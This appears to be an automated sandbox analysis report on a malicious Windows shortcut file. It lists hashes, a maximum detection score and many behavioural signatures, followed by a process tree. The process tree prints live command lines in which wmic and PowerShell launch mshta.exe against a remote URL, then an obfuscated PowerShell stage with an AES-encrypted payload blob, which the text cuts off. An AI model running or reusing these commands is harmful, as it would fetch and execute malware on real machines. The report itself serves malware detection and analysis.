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Windows
Analysis Report
FzmtNV0vnG.lnk
Overview
General Information
Sample name: | FzmtNV0vnG.lnkrenamed because original name is a hash value |
Original sample name: | ac9d5bb32e4d1c1cf52bf17bfdd8cf7b.lnk |
Analysis ID: | 1579660 |
MD5: | ac9d5bb32e4d1c1cf52bf17bfdd8cf7b |
SHA1: | b9c921613643e7c500783326483523e92e6ab016 |
SHA256: | 4883c36a3b5c9d4f4c318312dce1058d722e8a378adb3e348203bc93f41540d6 |
Tags: | lnkuser-abuse_ch |
Infos: | |
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
Suricata IDS alerts for network traffic
Windows shortcut file (LNK) starts blacklisted processes
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Bypasses PowerShell execution policy
Contains functionality to create processes via WMI
Creates processes via WMI
Drops PE files to the user root directory
Drops PE files with a suspicious file extension
Powershell drops PE file
Sigma detected: Execution from Suspicious Folder
Sigma detected: Execution of Powershell Script in Public Folder
Sigma detected: Parent in Public Folder Suspicious Process
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: Rare Remote Thread Creation By Uncommon Source Image
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Invoke-WebRequest Execution
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Process Created Via Wmic.EXE
Sigma detected: WScript or CScript Dropper
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Windows shortcut file (LNK) contains suspicious command line arguments
AV process strings found (often used to terminate AV products)
Adds / modifies Windows certificates
Binary contains a suspicious time stamp
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates files inside the system directory
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the user directory
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Classification
- System is w10x64
- WMIC.exe (PID: 6648 cmdline:
"C:\Window s\System32 \Wbem\wmic .exe" proc ess call c reate "pow ershell -w 1 powersh ell -Comma nd ('ms' + 'hta' + ' .exe ' + ' https://ti ffany-care ers.com/ba ochuan1')" MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - conhost.exe (PID: 4592 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 4180 cmdline:
powershell -w 1 powe rshell -Co mmand ('ms ' + 'hta' + '.exe ' + 'https:/ /tiffany-c areers.com /baochuan1 ') MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 2604 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 3556 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " mshta.exe https://ti ffany-care ers.com/ba ochuan1" MD5: 04029E121A0CFA5991749937DD22A1D9) - mshta.exe (PID: 1988 cmdline:
"C:\Window s\system32 \mshta.exe " https:// tiffany-ca reers.com/ baochuan1 MD5: 0B4340ED812DC82CE636C00FA5C9BEF2) - powershell.exe (PID: 2608 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -w 1 -ep U nrestricte d -nop $dd g = '5FC32 DF1C0FFAB0 4AD1461E41 B34580CF68 6186BB1758 8350035324 8755372D1E 74F294A259 C979896FEA 6271F15422 8B3BF0D6A9 D0D9F6569B 9D41A9A3D0 9A63BCE9C8 37BE004A62 08D93ACB87 F6C547277A 8C3268B742 B3EF6AEA9A EAFEE59C43 BF887EB018 2FB5943B29 47D27E46DF AAD9FE1277 6123E736F0 27853F8BC8 DFCF554869 724A0AA804 A9049D9EA7 ACBEED4C41 2BB6C4D460 2CFC90CF61 5287E6C655 5C8E0B6CEE 3AACB66AFC 773E919290 3227F0CE01 4AE4A150CC CE925B6B22 D440B7F3E3 92520613C0 7711AF2978 A272709AFC 70BEDE8C32 01483207E6 6D3D483012 204164092C 58F5895F1B 4B38C5CE83 1D1917AC33 B6FF65EBC1 F0946D72FF D582B68965 6A77B66A88 C471D7DE4C 8AAD142463 BAC97A96E3 1AFC766F1F DD6B326751 6F8027B807 DBCDA9A77C C0B3EF0AFC A30DAE6A4A 90E6590D26 CF5960B3F1 13201E74E5 0BCC37179E 67420FB075 40AB18B8A2 81F6F6E1E0 974AB449D8 C5426F8776 DCAD4AE375 2D5ED8DD77 E80E582F37 E99699AC94 D58A627C40 8F56A6BAB4 FF2A463425 5575F0A373 CE9D4F81D7 D85A6FDD69 653A9ACD82 342A04DE1D 703FF55FD7 7C7093583E 7A8DE7DD76 FAA4FC7DC3 AE525F2923 AB6D03FA2C F6E1C0045E B1AE1B01FE 2DCE5F0DF7 AF916F7F3D 8FFFCF35BA 8DFEE6863A ACCA2AF778 D9372C039E F1AA4F66FE 4C9A7B7E6B 4B690EE8B5 F365AFD2B9 4E08045323 72C711FBB3 2848157937 50781C1A32 513D741D24 41259E82D2 7F9EDAFE0F 914EBC4098 FCA1B20282 71CE736D3B F191C47416 E402EA4570 B4E235E7AE E572814275 E385B72FBB 0EBB4E4A71 440B44DF5A D9DD6C30D1 FE13CF9470 F463544067 4E87C75280 F2FD7AC139 781FEE2CBD 3BFB5E93BC AD4DAED748 47E6BE4FD4 1C380DA9D3 A7A21A3256 6CEC4C0BB9 EAA0C494BA E968EB3272 0676452D87 71B05F9FBE D066BEEC71 BED78275BC 817D837331 7584369A8D D60E296BA3 A7576111EB 07BB121D2F C9B92A15C9 F813BAFBD2 5A0F89684C BA0692BCA6 86C8E2C8FC 8B185E9449 4152501204 2EAF50007E 259FC3ECD7 39FA2F61F6 FB8325658A 744B3E4DE0 CED8D32051 0C3299CAE5 45C675E7E8 8D3B7A101C 08FD1C8926 471E91C6E7 9F62B497DD 1CC8DD442A 85E3C31FEB 6E31E75149 AA77C8D8B3 DFE3CB4D3B 9ED06691EE 63BC9248DF 964984D9E6 05967CD19A C1E1190D2B 1FC8F1C2F1 2A7615AAF5 9A39ACFBDC 1A5D1067B1 0A03DE63D1 0C8C973A26 4985FB7E40 DC8D397B06 0C3C214459 1271FF47D8 0C0C4EFD88 E885F4D18C CA2CED83B8 D1BD66297A 6F61B3062A 0F96F4B4DC 0076B70FB8 A8DD887142 732D4A65A9 6B6FD7A035 2D9488FAFF 981B4E138B D5D5E350C1 8AD7F5DD70 FB56686D79 B20038823B 95E423BC9A D64AA072C8 7E558C58E9 D04720A12E 07C3C08A91 A0E105DC9F E126B797B3 60396173D6 76F52756A6 E514D47575 14A4D594F4 75365';fun ction vxx ($xHDThLVi ){return - split ($xH DThLVi -re place '..' , '0x$& ') };$FMAPhot = vxx($dd g.SubStrin g(0, 2048) );$pBL = [ System.Sec urity.Cryp tography.A es]::Creat e();$pBL.K ey = vxx($ ddg.SubStr ing(2048)) ;$pBL.IV = New-Objec t byte[] 1 6;$KNBWNbH = $pBL.Cr eateDecryp